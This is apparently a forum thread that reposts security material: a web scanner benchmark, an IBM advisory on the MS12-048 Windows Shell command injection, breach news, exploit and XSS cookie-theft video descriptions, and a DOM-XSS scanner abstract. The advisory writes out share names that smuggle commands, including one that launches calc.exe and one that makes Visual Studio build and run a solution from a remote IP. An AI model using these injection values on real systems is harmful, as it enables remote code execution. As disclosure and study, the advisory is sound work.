I'm sorry to disappoint you, dear reader, so early in the article, but I still don't have a perfect answer or one recommendation... But I sure am much closer than I ever was, and although I might not have the answer, I have many answers, and a very comprehensive, logical and clear methodology for employing the use of all the information I'm about to present. In the previous benchmarks , I focused on assessing 3 major aspects of web application scanners, which revolved mostly around features & accuracy, and even though the information was very interesting, it wasn't necessarily useful, at least not in all scenarios. So decided to take it to the edge, but since I already reached the number of 60 scanners, it was hard to make an impression with a couple of extra tools, so instead, I focused my efforts on aspects. This time, I compared 10 different aspects of the tools (or 14, if you consider non competitive charts), and chose the collection with the aim of providing practical tools for making a decision, and getting a glimpse of the bigger picture. Let me assure you - this time, the information is presented in a manner that is very helpful, is easy to navigate, and is supported by presentation platforms, articles and step by step methodologies. Furthermore, I wrapped it all in a summary that includes the major results and features in relation to the price, for those of us that prefer the overview, and avoid the drill down. Information and Insights that I believe, will help testers invest their time in better-suited tools, and consumers in properly investing their money, in the long term or the short term (but not necessarily both*). As mentioned earlier, this research covers various aspects for the latest versions of 11 commercial web application scanners, and the latest versions of most of the 49 free & open source web application scanners. It also covers some scanners that were not covered in previous benchmarks, and includes, among others, the following components and tests: • A Price Comparison - in Relation to the Rest of the Benchmark Results • Scanner Versatility - A Measure for the Scanner's Support of Protocols & Input Delivery Vectors • Attack Vector Support - The Amount & Type of Active Scan Plugins (Vulnerability Detection) • Reflected Cross Site Scripting Detection Accuracy • SQL Injection Detection Accuracy • Path Traversal / Local File Inclusion Detection Accuracy • Remote File Inclusion Detection Accuracy (XSS/Phishing via RFI) • WIVET Score Comparison - Automated Crawling / Input Vector Extraction • Scanner Adaptability - Complementary Coverage Features and Scan Barrier Support • Authentication Features Comparison • Complementary Scan Features and Embedded Products • General Scanning Features and Overall Impression • License Comparison and General Information And just before we delve into the details, one last tip: don't focus solely on the charts - if you want to really understand what they reflect, dig in. Lists and charts first, detailed description later. 2. List of Tested Web Application Scanners The following commercial scanners were included in the benchmark: IBM AppScan v8.5.0.1, Build 42-SR1434 (IBM) WebInspect v9.20.277.0, SecureBase 4.08.00 (HP) Netsparker v2.1.0, Build 45 (Mavituna Security) Acunetix WVS v8.0, Build 20120613 (Acunetix) Syhunt Dynamic (SandcatPro) v4.5.0.0/1 (Syhunt) Burp Suite v1.4.10 (Portswigger) ParosPro v1.9.12 (Milescan) - WIVET / Other JSky v3.5.1-905 (NoSec) - WIVET / Other WebCruiser v2.5.1 EE (Janus Security) Nessus v5.0.1 - 20120701 (Tenable Network Security) - Web Scanning Features Ammonite v1.2 (RyscCorp) The following new free & open source scanners were included in the benchmark: IronWASP v0.9.1.0 The updated versions of the following free & open source scanners were re-tested in the benchmark: Zed Attack Proxy (ZAP) v1.4.0.1, sqlmap v1.0-Jul-5-2012 (Github), W3AF 1.2-rev509 (SVN), Acunetix Free Edition v8.0-20120509, Safe3WVS v10.1 FE (Safe3 Network Center) WebSecurify v0.9 (free edition - the new commercial version was not tested), Syhunt Mini (Sandcat Mini) v4.4.3.0, arachni v0.4.0.3, Skipfish 2.07b, N-Stalker 2012 Free Edition v7.1.1.121 (N-Stalker), Watobo v0.9.8-rev724 (a few new WATOBO 0.9.9 pre versions were released a few days before the publication of the benchmark, but I didn't managed to test them in time) Different aspects of the following free & open source scanners were tested in the benchmark: VEGA 1.0 beta (Subgraph), Netsparker Community Edition v1.7.2.13, Andiparos v1.0.6, ProxyStrike v2.2, Wapiti v2.2.1, Paros Proxy v3.2.13, Grendel Scan v1.0 The results were compared to those of unmaintained scanners tested in previous benchmarks: PowerFuzzer v1.0, Oedipus v1.8.1 (v1.8.3 is around somewhere), Scrawler v1.0, WebCruiser v2.4.2 FE (corrections), Sandcat Free Edition v4.0.0.1, JSKY Free Edition v1.0.0, N-Stalker 2009 Free Edition v7.0.0.223, UWSS (Uber Web Security Scanner) v0.0.2, Grabber v0.1, WebScarab v20100820, Mini MySqlat0r v0.5, WSTool v0.14001, crawlfish v0.92, Gamja v1.6, iScan v0.1, LoverBoy v1.0, DSSS (Damn Simple SQLi Scanner) v0.1h, openAcunetix v0.1, ScreamingCSS v1.02, Secubat v0.5, SQID (SQL Injection Digger) v0.3, SQLiX v1.0, VulnDetector v0.0.2, Web Injection Scanner (WIS) v0.4, Xcobra v0.2, XSSploit v0.5, XSSS v0.40, Priamos v1.0, XSSer v1.5-1 (version 1.6 was released but I didn't manage to test it), aidSQL 02062011 (a newer revision exists in the SVN but was not officially released) For a full list of commercial & open source tools that were not tested in this benchmark, refer to the appendix. 3. Benchmark Overview & Assessment Criteria The benchmark focused on testing commercial & open source tools that are able to detect (and not necessarily exploit) security vulnerabilities on a wide range of URLs, and thus, each tool tested was required to support the following features: · The ability to detect Reflected XSS and/or SQL Injection and/or Path Traversal/Local File Inclusion/Remote File Inclusion vulnerabilities. · The ability to scan multiple URLs at once (using either a crawler/spider feature, URL/Log file parsing feature or a built-in proxy). · The ability to control and limit the scan to internal or external host (domain/IP). The testing procedure of all the tools included the following phases: Feature Documentation The features of each scanner were documented and compared, according to documentation, configuration, plugins and information received from the vendor. The features were then divided into groups, which were used to compose various hierarchal charts. Accuracy Assessment The scanners were all tested against the latest version of WAVSEP (v1.2, integrating ZAP-WAVE), a benchmarking platform designed to assess the detection accuracy of web application scanners, which was released with the publication of this benchmark. The purpose of WAVSEP’s test cases is to provide a scale for understanding which detection barriers each scanning tool can bypass, and which common vulnerability variations can be detected by each tool. · The various scanners were tested against the following test cases (GET and POST attack vectors): o 816 test cases that were vulnerable to Path Traversal attacks. o 108 test cases that were vulnerable to Remote File Inclusion (XSS via RFI) attacks. o 66 test cases that were vulnerable to Reflected Cross Site Scripting attacks. o 80 test cases that contained Error Disclosing SQL Injection exposures. o 46 test cases that contained Blind SQL Injection exposures. o 10 test cases that were vulnerable to Time Based SQL Injection attacks. o 7 different categories of false positive RXSS vulnerabilities. o 10 different categories of false positive SQLi vulnerabilities. o 8 different categories of false positive Path Travesal / LFI vulnerabilities. o 6 different categories of false positive Remote File Inclusion vulnerabilities. · The benchmark included 8 experimental RXSS test cases and 2 experimental SQL Injection test cases, and although the scan results of these test cases were documented in the various scans, their results were not included in the final score, at least for now. · In order to ensure the result consistency, the directory of each exposure sub category was individually scanned multiple times using various configurations, usually using a single thread and using a scan policy that only included the relevant plugins. In order to ensure that the detection features of each scanner were truly effective, most of the scanners were tested against an additional benchmarking application that was prone to the same vulnerable test cases as the WAVSEP platform, but had a different design, slightly different behavior and different entry point format, in order to verify that no signatures were used, and that any improvement was due to the enhancement of the scanner's attack tree. Attack Surface Coverage Assessment In order to assess the scanners attack surface coverage, the assessment included tests that measure the efficiency of the scanner's automated crawling mechanism (input vector extraction) , and feature comparisons meant to assess its support for various technologies and its ability to handle different scan barriers. This section of the benchmark also included the WIVET test (Web Input Vector Extractor Teaser), in which scanners were executed against a dedicated application that can assess their crawling mechanism in the aspect of input vector extraction. The specific details of this assessment are provided in the relevant section. Public tests vs. Obscure tests In order to make the test as fair as possible, while still enabling the various vendors to show improvement, the benchmark was divided into tests that were publically announced, and tests that were obscure to all vendors: · Publically announced tests: the active scan feature comparison, and the detection accuracy assessment of the SQL Injection and Reflected Cross Site Scripting, composed out of tests cases which were published as a part of WAVSEP v1.1.1) · Tests that were obscure to all vendors until the moment of the publication: the various new groups of feature comparisons, the WIVET assessment, and the detection accuracy assessment of the Path Traversal / LFI and Remote File Inclusion (XSS via RFI), implemented as 940+ test cases in WAVSEP 1.2 (a new version that was only published alongside this benchmark). The results of the main test categories are presented within three graphs (commercial graph, free & open source graph, unified graph), and the detailed information of each test is presented in a dedicated section in benchmark presentation platform at http://www.sectoolmarket.com. Now that were finally done with the formality, let's get to the interesting part... the results. 4. A Glimpse to the Results of the Benchmark This presentation of results in this benchmark, alongside the dedicated website (http://www.sectoolmarket.com/) and a series of supporting articles and methodologies ([placeholder]), are all designed to help the reader to make a decision - to choose the proper product/s or tool/s for the task at hand, within the borders of the time or budget. For those of us that can't wait, and want to get a glimpse to the summary of the unified results, there is a dedicated page available at the following links: Price & Feature Comparison of Commercial Scanners List of Tested Scanners Price & Feature Comparison of a Unified List of Commercial, Free and Open Source Products List of Tested Scanners Some of the sections might not be clear to some of the readers at this phase, which is why I advise you to read the rest of the article, prior to analyzing this summary. 5. Test I - Scanner Versatility - Input Vector Support The first assessment criterion was the number of input vectors each tool can scan (and not just parse). Modern web applications use a variety of sub-protocols and methods for delivering complex inputs from the browser to the server. These methods include standard input delivery methods such as HTTP querystring parameters and HTTP body parameters, modern delivery methods such as JSON and XML, and even binary delivery methods for technology specific objects such as AMF, Java serialized objects and WCF. Since the vast majority of active scan plugins rely on input that is meant to be injected into client originating parameters, supporting the parameter (or rather, the input) delivery method of the tested application is a necessity. Although the charts in this section don't necessarily represent the most important score, it is the most important perquisite for the scanner to comply with when scanning a specific technology. Reasoning: An automated tool can't detect a vulnerability in a given parameter, if it can't scan the protocol or mimic the application's method of delivering the input. The more vectors of input delivery that the scanner supports, the more versatile it is in scanning different technologies and applications (assuming it can handle the relevant scan barriers, supports necessary features such as authentication, or alternatively, contains features that can be used to work around the specific limitations). The detailed comparison of the scanners support for various input delivery methods is documented in detail in the following section of sectoolmarket (recommended - too many scanners in the chart): The Input Vector Support of Web Application Scanners The following chart shows how versatile each scanner is in scanning different input delivery vectors (and although not entirely accurate - different technologies): The Number of Input Vectors Supported – Commercial Tools The Number of Input Vectors Supported – Free & Open Source Tools The Number of Input Vectors Supported – Unified List 6. Test II – Attack Vector Support – Counting Audit Features The second assessment criterion was the number of audit features each tool supports. Reasoning: An automated tool can't detect an exposure that it can't recognize (at least not directly, and not without manual analysis), and therefore, the number of audit features will affect the amount of exposures that the tool will be able to detect (assuming the audit features are implemented properly, that vulnerable entry points will be detected, that the tool will be able to handle the relevant scan barriers and scanning perquisites, and that the tool will manage to scan the vulnerable input vectors). For the purpose of the benchmark, an audit feature was defined as a common generic application-level scanning feature, supporting the detection of exposures which could be used to attack the tested web application, gain access to sensitive assets or attack legitimate clients. The definition of the assessment criterion rules out product specific exposures and infrastructure related vulnerabilities, while unique and extremely rare features were documented and presented in a different section of this research, and were not taken into account when calculating the results. Exposures that were specific to Flash/Applet/Silverlight and Web Services Assessment (with the exception of XXE) were treated in the same manner. The detailed comparison of the scanners support for various audit features is documented in detail in the following section of sectoolmarket: Web Application Scanners Audit Features Comparison The Number of Audit Features in Web Application Scanners – Commercial Tools The Number of Audit Features in Web Application Scanners – Free & Open Source Tools The Number of Audit Features in Web Application Scanners – Unified List So once again, now that were done with the quantity, let's get to the quality… 7. Introduction to the Various Accuracy Assessments The following sections presents the results of the detection accuracy assessments performed for Reflected XSS, SQL Injection, Path Traversal and Remote File Inclusion (RXSS via RFI) - four of the most commonly supported features in web application scanners. Although the detection accuracy of a specific exposure might not reflect the overall condition of the scanner on its own, it is a crucial indicator for how good a scanner is at detecting specific vulnerability instances. The various assessments were performed against the various test cases of WAVSEP v1.2, which emulate different common test case scenarios for generic technologies. Reasoning: a scanner that is not accurate enough will miss many exposures, and might classify non-vulnerable entry points as vulnerable. These tests aim to assess how good is each tool at detecting the vulnerabilities it claims to support, in a supported input vector, which is located in a known entry point, without any restrictions that can prevent the tool from operating properly. 8. Test III – The Detection Accuracy of Reflected XSS The third assessment criterion was the detection accuracy of Reflected Cross Site Scripting, a common exposure which is the 2nd most commonly implemented feature in web application scanners, and the one in which I noticed the greatest improvement in the various tested web application scanners. The comparison of the scanners' reflected cross site scripting detection accuracy is documented in detail in the following section of sectoolmarket: Reflected Cross Site Scripting Detection Accuracy - Summary Result Chart Glossary Note that the GREEN bar represents the vulnerable test case detection accuracy, while the RED bar represents false positive categories detected by the tool (which may result in more instances then what the bar actually presents, when compared to the detection accuracy bar). The Reflected XSS Detection Accuracy of Web Application Scanners – Commercial Tools The Reflected XSS Detection Accuracy of Web Application Scanners – Open Source & Free Tools The Reflected XSS Detection Accuracy of Web Application Scanners – Unified List 9. Test IV – The Detection Accuracy of SQL Injection The fourth assessment criterion was the detection accuracy of SQL Injection, one of the most famous exposures and the most commonly implemented attack vector in web application scanners. The evaluation was performed on an application that uses MySQL 5.5.x as its data repository, and thus, will reflect the detection accuracy of the tool when scanning an application that uses similar data repositories. The comparison of the scanners' SQL injection detection accuracy is documented in detail in the following section of sectoolmarket: SQL Injection Detection Accuracy - Summary Result Chart Glossary Note that the GREEN bar represents the vulnerable test case detection accuracy, while the RED bar represents false positive categories detected by the tool (which may result in more instances then what the bar actually presents, when compared to the detection accuracy bar). The SQL Injection Detection Accuracy of Web Application Scanners – Commercial Tools The SQL Injection Detection Accuracy of Web Application Scanners – Open Source & Free Tools The SQL Injection Detection Accuracy of Web Application Scanners – Unified List Although there are many changes in the results since the last benchmark, both of these exposures (SQLi, RXSS) were previously assessed, so, I believe it's time to introduce something new... something none of the tested vendors could have prepared for in advance... 10. Test V – The Detection Accuracy of Path Traversal/LFI The fifth assessment criterion was the detection accuracy of Path Traversal (a.k.a Directory Traversal), a newly implemented feature in WAVSEP v1.2, and the third most commonly implemented attack vector in web application scanners. The reason it was tagged along with Local File Inclusion (LFI) is simple - many scanners don't make the differentiation between inclusion and traversal, and furthermore, a few online vulnerability documentation sources don't. In addition, the results obtained from the tests performed on the vast majority of tools lead to the same conclusion - many plugins listed under the name LFI detected the path traversal plugins. While implementing the path traversal test cases and consuming nearly every relevant piece of documentation I could find on the subject, I decided to take the current path, in spite of some acute differences some of the documentation sources suggested (but did implemented an infrastructure in WAVSEP for "true" inclusion exposures). The point is not to get into a discussion of whether or not path traversal, directory traversal and local file inclusion should be classified as the same vulnerability, but simply to explain why in spite of the differences some organizations / classification methods have for these exposures, they were listed under the same name (In sectoolmarket - path traversal detection accuracy is listed under the title LFI). The evaluation was performed on a WAVSEP v1.2 instance that was hosted on windows XP, and although there are specific test cases meant to emulate servers that are running with a low privileged OS user accounts (using the servlet context file access method), many of the test cases emulate web servers that are running with administrative user accounts. [Note - in addition to the wavsep installation, to produce identical results to those of this benchmark, a file by the name of content.ini must be placed in the root installation directory of the tomcat server- which is different than the root directory of the web server] Although I didn't perform the path traversal scans on Linux for all the tools, I did perform the initial experiments on Linux, and even a couple of verifications on Linux for some of the scanners, and as weird as it sounds, I can clearly state that the results were significantly worse, and although I won't get the opportunity to discuss the subject in this benchmark, I might handle it in the next. In order to assess the detection accuracy of different path traversal instances, I designed a total of 816 OS-adapting path traversal test cases (meaning - the test cases adapt themselves to the OS they are executed in, and to the server they are executed in, in the aspects of file access delimiters and file access paths). I know it might seem a lot, and I guess I did got carried away with the perfectionism, but you will be surprised too see that these tests really represent common vulnerability instances, and not necessarily super extreme scenarios, and that results of the tests did prove the necessity. The tests were deigned to emulate various combination of the following conditions and restrictions: If you will take a closer look at the detailed scan-specific results at www.sectoolmarket.com, you'll notice that some scanners were completely unaffected by the response content type and HTTP code variation, while other scanners were dramatically affected by the variety (gee, it's nice to know that I didn't write them all for nothing... ). In reality, there were supposed to more test cases, primarily because I intended to test injection entry points in which the input only affected the filename without the extension, or was injected directly into the directory name. However, due to the sheer amount of tests and the deadline I had for this benchmark, I decided to delete (literally) the test cases that handled these anomalies, and focus on test cases in which the entire filename/path was affected. That being said, I might publish these test cases in future versions of wavsep (they amount to a couple of hundreds). The comparison of the scanners' path traversal detection accuracy is documented in detail in the following section of sectoolmarket: Path Traversal / Local File Inclusion Detection Accuracy - Summary Result Chart Glossary Note that the GREEN bar represents the vulnerable test case detection accuracy, while the RED bar represents false positive categories detected by the tool (which may result in more instances then what the bar actually presents, when compared to the detection accuracy bar). The Path Traversal / LFI Detection Accuracy of Web Application Scanners – Commercial Tools .............................................. Posted by Shay-Chen at 9:24 AM ARTICOL COMPLET: http://sectooladdict.blogspot.co.uk/

[h=3]Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175)[/h] CVE-2012-0175 [h=3]Background[/h] Windows File Association allows an application to define a handler that should be called for each operation on a specific file type. For example, WinRAR registers the file type .RAR in the following manner: The Open action defined for this file type dictates how the handler should be called upon opening the file. The command that will be executed for this example of WinRAR is: "C:\Program Files\WinRAR\WinRAR.exe" "%1" (Where the %1 is replaced with the filename that the client clicked on) Theoretically if an attacker was able to create a file called Stu"ff.rar He will be able to break the command string. Of course creating such a file under Windows seems to be impossible Linux operating systems unlike Windows, do not limit the use of these special characters as part of a file's name. Meaning an attacker can create a file called stu"ff.rar In order to actually test this theory, the Windows operating system must have some sort of access to the file currently placed on another machine. Most applications will fail horribly when trying to copy this file over to the Windows machine and the few that won't, just replace the quotes ( " ) with an underscore ( _ ). The next possibility to access this file, is through NetBIOS shares, so I've installed a SAMBA server on my Linux machine, created some default shares and copied my malicious looking file in there. Figure 1 - Linux view of the file Figure 2 - Windows view of the file Apparently Windows changes the display name for these files. It does the same with folder names. [h=4]Vulnerability:[/h] The one place missing this protection is the Share Name itself. By editing the SAMBA configuration in the following way it is possible to create shares that include the forbidden special characters in their name. Figure 3 - Editing the SAMBA configurations Figure 4 - Viewing the shares under Windows When executing a RAR file from the regular share2 folder, all works well. However when double-clicking a RAR in the second share WinRAR cannot seem to find the requested file Viewing the created WinRAR.exe process in Process Explorer reveals the injection has worked. [h=4]Example attack scenario #1:[/h] The following attack scenario will allow the attacker to create a malicious Share that targets the "CMD Prompt Here" behavior. The way that "CMD Prompt Here" works is by launching the following command "cmd.exe" /k cd %1 An attacker is able to create a new share named: xxxxx & start calc.exe & When a victim uses the "CMD Prompt Here" context menu against any folder under the share root, the executed command will be: "cmd.exe" /k cd \\10.0.0.1\xxxxx & start calc.exe &\AnyOtherFolder When CMD will start it will also execute calc.exe [h=4]Example attack scenario #2:[/h] The following attack scenario will allow the attacker to create a link to a visual studio solution (.SLN) file that once opened will automatically compile and execute itself. By creating three SMB shares named: 1. Test Injection "/RunExit \\9.148.197.235\share2 2. Test Injection " 3. share2 And the following folder tree under the mapped folder (/home/share2 in the case of this example) Notice that the content of the ArgumentInjection folder is not shown. It contains all the visual studio solution files and should not be changed. The result of these configurations should look as such: By entering the first (long) folder and opening the SLN file with the devenv.exe handler, the following command should be executed: The devenv.exe handler receives four parameters: The first part of the path - "\\9.148.197.235\Test Injection " The injected parameter - /RunExit The injected path to be used - \\9.148.197.235\share2\ArgumentInjection.sln The remaining part of the original path - .sln" The first and last parameters are being ignored while the two middle parameters causes visual studio to compile and execute the desired solution. [h=4]Impact:[/h] By using this technique, an attacker is able to inject custom arguments into every application that registered a file-type handler using the described method. [h=4]Remediation:[/h] Microsoft has issued the following patch to address this issue MS12-048 - Microsoft Security Bulletin MS12-048 - Important : Vulnerability in Windows Shell Could Allow Remote Code Execution (2691442) Discovered by - Adi Cohen, IBM Application Security Research Sursa: IBM Application Security Insider: Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175)

Vezi ca mai sunt vreo 5 topircuri, citeste-le, sunt multe informatii utile pe acolo.

Bun, cine esti tu?

A? Deci cine, ce, cum si de ce?

Cica "Internetul ascuns"... Articol literar, mamei o sa ii placa... Krisler12™ Exista Intraneturi (de exemplu), daca firma mea produce filme porno, le tin intr-o retea locala (vorba vine, e doar o idee), si le ofer celor care platesc, asa e si cu Amazon, acele carti nu sunt publice, le poti avea daca le cumperi.

Astia-s nebuni

[h=1]DARPA to Hackers: Help, Please?[/h]November 8, 2011, 3:20PM by Brian Donohue The Pentagon’s Defense Advanced Research Projects Agency (DARPA), which is credited with helping to create the modern Internet, used a conference to call on hackers and other visionaries to help save it. DARPA’s Director, Dr. Regina Dugan used a speech at the DARPA Colloquium on Future Directions in Cyber Security in Arlington, Virginia, to call on “visionary hackers, academics, and professionals… to change the dynamic of cyber defense.” Dugan said the wave of malicious cyber attacks represent an existential threat to the Internet and have real world ramifications on civilian and military systems. "Why, despite investing billions of dollars in security, does it feel like we are losing ground?" Dugan asked the audience of beltway and government security experts. The answer, she and others said, is that the government and military are not engaged directly with the threats facing them. The conference was billed as a frank discussion with the cyber community. It brought together roughly 700 leaders from the armed services, as well as the private sector contractors and hackers for hire. Dugan and other Pentagon and government officials and industry leaders, including former White House Cybersecurity Czar Richard Clarke attempted to define and redefine the threats facing government and military networks. In speeches that were equal parts public relations and team building that cyber defense and offense were top priorities for DARPA and that Congress, rather than DARPA, would eventually govern and oversee the use of any cyber capabilities discovered in the course of their research. Sursa: DARPA to Hackers: Help, Please? | threatpost Nu e recent, dar merita citit.

Invata C si C++, singura limitare a Python-ului este interpretorul si librariile sale. Pascal nu prea se mai foloseste, doar versiunea sa, Delphi, insa cred ca nu foarte mult. Sfatul meu e sa stapanesti bine conceptele de OOP din C++, iar apoi sa inveti Python.

[h=1]Nvidia confirms hackers swiped up to 400,000 user accounts[/h]Summary: Nvidia today warned users that its developer forums had been hacked and up to 400,000 user accounts had been compromised. As a precautionary measure, the company has taken down five of its websites. By Emil Protalinski for Zero Day | July 14, 2012 Earlier today, Nvidia announced its developer forums were hacked this week and that the following user information was compromised by unauthorized third parties: usernames, e-mail addresses, hashed passwords with random salt value, and public-facing "About Me" profile information. The semiconductor maker has now confirmed that up to 400,000 of its user accounts were swiped by the hackers. As a result, Nvidia has suspended five of its websites as it investigates the matter. A spokesperson told CBS News that despite the passwords in question were "scrambled using an encryption algorithm." The accounts in question belonged to users of the Nvidia Forum, Developer Zone, and Research Site. The company has suspended all three, and to be on the safe side, its Nvidia Board Store, through which users can buy company products, and the Nvidia Gear Store, where the company sells company merchandise. Nvidia said it has contacted affected users. I will update you if I hear more about the company's findings in regards to the attack. The Nvidia hack is a part of a slew of attacks in the last few months. Here's a quick list, in no particular order: LinkedIn, eHarmony, Last.fm, Yahoo, Android Forums, Billabong, and Formspring. The total number of users affected is around 10 million, so far. If you have an account with any of these sites, you should change your password, just to be on the safe side. Furthermore, if you use the same e-mail address and password combination elsewhere, you should change it there as well. Sursa: Nvidia confirms hackers swiped up to 400,000 user accounts | ZDNet

Bitdefender Safebox Bitdefender Safebox™ is the safest way to backup, sync and share your important docs, movies, e-books, and photos in the cloud. Keep your favorite e-books, videos, and pictures safely encrypted in the cloud. Cross-platform on PCs, Android mobile phones, iPhones and iPads. Share your files with family, friends, and colleagues with just one click. Edit important documents without worries, as Safebox automatically backs them up the moment they are changed. And that's not all Backup and synchronize all your devices from a single account. Access your files from any Internet-connected device. Download now and enjoy 2GB of free cloud storage. Download: http://download.bitdefender.com/safebox/windows/installer/en/bitdefender_safebox.exe Sursa: Free Online Backup, Recovery and Sync for Files - Bitdefender Safebox

Hackers Outlaws And Angels Complete Documentary http://www.youtube.com/watch?v=hNnaIYTj7GU&feature=player_embedded Description: This movie is very interesting. Meet the great hacker who shifted their side and became a security expert. : ) This is modern hacking : ) Sursa: Hackers Outlaws And Angels Complete Documentary

How To Use Snort In Backtrack Description: In this video you will learn how to use the Snort tool in backtrack. Snort :- Snort is an open source network intrusion prevention detection system, IDS and IPS. This tool developed by Sourcefire team. This is very powerful tool and more useful for Penetration Testers, and Security Reasercher. Snort :: Home Page Sursa: How To Use Snort In Backtrack

Exploit Windows Server 2008 Description: In this video you will learn how to exploit Windows Server 2008 via MS12-020 And MS09-050. MS12-020 :- This Vulnerability is very critical and this vulnerability affected almost all windows OS. Microsoft Server not Trusted as you can see. Using this vulnerability you can crash the windows server so it is horrible. Microsoft: Critical worm hole could be exploited within 30 days | Naked Security MS09-050 :- Most common vulnerability in windows SMB. This is a SMBv2 Vulnerability. This vulnerability also affected Windows 2000, Windows XP, Windows Vista Windows Server 64/32. Article - Knowledgebase - Support - Sophos Sursa: Exploit Windows Server 2008

Xss Cookie Monster (Stealing Session Id/Cookie) Description: Hak42 InfoSec This is how you can use XSS to steal users cookies/Session ID. I'm using the HTTP POST method versus HTTP GET in this example. : ) Enjoy... Using one of the reported XSS vulnerabilities in Netsweepers WebAdmin Portal to hijack an authenticated users cookie and then using it to bypass authentication with an already authenticated session. # Exploit Title: Netsweeper WebAdmin Portal CSRF, Reflective XSS, and "The later" # Date: Discovered and reported CSRF and XSS reported 4/2012 and "The later" reported 7/2012 # Author: Jacob Holcomb/Gimppy042 # Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com) # CVE : CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and CVE-2012-3859 for the "The later" Sursa: Xss Cookie Monster (Stealing Session Id/Cookie)

[h=1]Oil Giants Shell, BP and others hacked and data leaked by @le4ky[/h] By Lee J Published July 14th, 2012 Ex @UG member le4ky has come out of a few weeks silence to release a leak from yet more oil giants. The leak is dubbed as #SaveTheArctic – Phase 2 and has set sights on Shell, BP, gazprom and rosneft. The attack was announced via twitter and was posted to pastebin.com with a short message. All leaked data was combined to one file and all together contains 500+ accounts in the format of usernames and encrypted passwords. The leak also had some basic server and target information. [INDENT] CyberZeist?@le4ky ?#OpSaveTheArctic? - Phase II Mass Hack -http://pastebin.com/b79cJV5f ?#GreenPeace??#SaveTheArctic? RT [/INDENT] This comes not long after the first attacks on major oil giant Exxon in which administration accounts and other server information was leaked by @le4ky. Release message: [INDENT]Similar to #OpSaveTheArctic – Phase I (http://pastebin.com/1ca3BR19) , The listed targets where breached and as a punishment, The employee accounts of the concerned Corporations where used to sign the petition at http://www.savethearctic.org/ . After the full operation, a total amount of 96K petitions where signed at http://www.savethearctic.org/ (96,176 to be precise). This is the statement of the concerned hacks and to give out a message to the Corrupt Corporations that are harming our environment! Note : Regarding Exxon hack, the leaked account details where used for phishing attacks so in this paste, only few account details are released. If anyone wants Cracked MD5s, contact me on twitter.com/le4ky This Operation is carried out by Anonymous and isn’t anyhow affiliated to GreenPeace! We are just supporting their cause ShoutOut : Anonymous Operations Sweden (twitter.com/AnonOpsSweden) [/INDENT] shell.com Breached Email Accounts | shell.com.pk by @le4ky | | OZ Data Centa All accounts appear to be from the Pakistan shell domain and contains 25 emails and encrypted passwords. bp.com Breached Email Accounts | http://globalmba.bp.com by @le4ky | | OZ Data Centa The BP attack was on subdomain http://globalmba.bp.com/ and contains 450 accounts in the format of emails and encrypted passwords. rosneft.com Breached Email Accounts | rosneft.ru by @le4ky | | OZ Data Centa leader of Russia’s petroleum industry and the attack has seen emails and encrypted passwords leaked totalling 80. gazprom.com Breached Email Accounts | gazprom.ru by @le4ky | | OZ Data Centa GazPorn is a self claimed global energy company, the breach has seen 191 accounts in the same formats , emails and encrypted passwords. The leak has been uploaded to pastebin and also mirrored on le4kys website. #SaveTheArctic - Phase II - Mass Hack - Pastebin.com leakster.net/leaks/arctichack Sursa: Oil Giants Shell, BP and others hacked and data leaked by @le4ky

"Virusi : Stiu sa scap de ei , si mai stiu sa creez ( Visual Basic ) Windows Tricks Stiu sa folosesc exploituri ( SQL Injection , RFI ... mai putin cele care trebuie compilate in c++ ) Instalare scripturi ( phpBB ) , e107 ... Realizare si folosire scam Stiu sa folosesc o mare parte din HackTools" Epic

Nu, de tine oricum pare sa nu-i fi pasat nimanui inca de la inceput, tu doar ai readus in discutie un topic aprins "de ce RST nu mai e ce a fost odata". Daca vei cauta pe aici vei gasi cel putin inca 5 topicuri aprinse tot pe exact aceasta tema.

[h=1]nullcon Goa 2012: Ra.2: Blackbox DOM-based XSS scanner - By Nishant and Sarathi[/h] Published on Jun 29, 2012 by nullOxOO Ra.2 - Blackbox DOM-based XSS Scanner is our approach towards finding a solution to the problem of detecting DOM-based Cross-Site Scripting vulnerabilities in Web-Application automatically, effectively and fast. It is in its alpha-release state currently. We have tried hard in understanding what are the current solutions available to this problem. And to our surprise, we found, there are very few tools out there that can really aid penetration testers in their testing. And we firmly believe not to re-invent the wheel, and we decided to build this tool because either the available solutions were not doing what they are meant for or they are had a quite a steep learning curve or require too much of manual analysis that they are not as good as a tool or they were commercial solutions. Ra.2 is basically a lightweight Mozilla Firefox Add-on that uses a very simple yet effective and unique approach to detect most DOM-based XSS vulnerabilities, if not all. The user can start a scan on a page right within the browser. Ra.2, has no URL crawler component, as of now, so the user has to feed all the URLs (if there are multiple pages to be scanned) before running a scan. Since Ra.2 is a browser add-on it is a session-aware tool which can scan a web-application that requires authentication. Ra.2 uses custom collected list of XSS vectors which has been heavily modified to be compatible with its scanning technology. Being a blackbox fuzzer, as soon as the user initiates a scan, the tool fuzzes all possible sources of DOM-based XSS vectors with its own custom defined callback (this has multiple advantages, to be discussed in the Conference). This callback, if lands in a Sink and gets successfully executed by the Firefox's Javascript engine, shall send an XHR to our Database HOST. Once the tool has finished fuzzing, it shall generate a report based on the findings. The reporter has the option to customize the reports, relevant to a multi-user environment. The add-on also implements basic browser instrumentation to simulate a human interaction to trigger some hard to detect DOM-based XSS conditions. The tool may also include a grep based static-code analyzer for location Sources and Sinks of DOM-based XSS. In future we plan to figure a way to detect browser specific DOM-based XSS issues, implement a runtime code-flow analysis tool with less false-negatives and better reporting capabilities.

Voi discuta cu ps-axl si ElChief in legatura cu banurile.